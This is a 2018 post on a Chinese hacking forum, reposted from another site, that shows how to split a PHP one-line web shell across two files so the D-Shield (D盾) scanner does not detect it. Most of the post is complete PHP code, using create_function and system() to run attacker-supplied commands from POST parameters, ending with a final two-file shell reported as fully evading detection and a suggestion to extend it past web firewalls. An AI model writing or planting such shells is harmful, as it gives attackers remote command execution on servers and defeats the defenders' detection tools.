HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
最新活动
CSA2018
HACK80    技术文档

过d盾一句话之二分法

  •   EvilGod · 2018-1-11 16:24:01 · 671 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    作者:gqs
    原文地址:https://secvul.com/topics/774.html

    0x00 回顾爱春秋原文(https://bbs.ichunqiu.com/thread-25644-1-1.html)通过把1个马分成2个马,从而达到免杀的效果。实现了调用phpinfo()函数的shell。
    具体实现如下。
    1.php
    1. <?php
    2. $aa=$_REQUEST['aa'];
    3. $funstr=$_REQUEST['fun'];
    4. $cc=$aa.$funstr;
    5. $dd=str_replace($aa, '', $cc)

    6. $fun=create_function('', $dd);
    7. ?>
    复制代码
    2.php
    1. <?php
    2. include'1.php';
    3. $fun();
    4. ?>
    复制代码

    使用方法如下:

    但是上传shell我们更多的是想执行命令,而不是phpinfo,此shell无法执行命令。

    顺着这种”分马”思路,研究对d盾免杀并且可执行命令的shell。
    0x01 create_function的使用函数create_function主要用来创建匿名函数。
    $fun=create_function(‘’,”phpinfo();”)
    以上语句可以这么理解
    function $fun(){phpinfo();}                     //当然$fun这样的写法不被允许
    可以通过如下语句调用。
    $fun();

    再来看create_fucntioin创建带参数的函数。
    1. <?php

    2. $fun=create_function('$a', 'system("$a");');

    3. $fun($_POST['cmd']);

    4. ?>
    复制代码

    执行如下:

    0x02 免杀之路首先看下刚才的3.php能否免杀
    很遗憾。未分解的马不免杀。

    0x03 改进方法下面开始尝试免杀分解动作。
    改进一
    套用之前爱春秋帖子的套路
    分成32.php和31.php
    31.php
    1. <?php

    2. $aa=@$_REQUEST['aa'];
    3. $funstr=@$_REQUEST['fun'];
    4. $cc=$aa.$funstr;
    5. $dd=str_replace($aa, '', $cc);
    6. $fun=create_function('$a', $dd.'("$a");');
    7. ?>
    复制代码
    32.php
    1. <?php

    2. include '31.php';

    3. $aa=$_POST['aa'];

    4. $fun($aa);

    5. ?>
    复制代码

    执行成功

    D盾检测结果如下:

    麻痹32.php还是有个级别1,级别1也忍不了。
    改进二
    这里D盾检测的是$fun($_GET[‘XX’])的形式,那么只要将fun函数的传入的参数修改为不是直接引用get提交的参数就ok。


    果然逃过了免杀。顺着这个思路改进下之前的shell。
    这里用&拼接命令,用**隔离正常回显。或者加空格应该也行。

    丢到d盾里看看。

    完美躲过d盾。
    0x04 总结该方法只是绕过静态的d盾查杀,并不是对waf的绕过,想要绕过waf的话,还要在传输的get,post参数里自行加解密或者压缩解压缩…,或者通过另外的方式传参。请大佬们自行发挥。
    最终修改的二分shell如下:
    32.php
    1. <?php
    2. include'31.php';
    3. $aa='echo * &'.$_POST['aa'].'& echo *';
    4. $fun($aa);
    5. ?>
    复制代码
    31.php
    1. <?php
    2. $aa=@$_REQUEST['aa'];
    3. $funstr=@$_REQUEST['fun'];
    4. $cc=$aa.$funstr;
    5. $dd=str_replace($aa, '', $cc);
    6. $fun=create_function('$a', $dd.'("$a");');
    7. ?>
    复制代码


    671 次点击  
    收藏  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    关闭

    推荐上一条 /1 下一条

    QQ
    小黑屋   ·   手机版   ·   236 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-4-20 05:03, Processed in 0.052765 second(s), 19 queries .
    快速回复 返回顶部 返回列表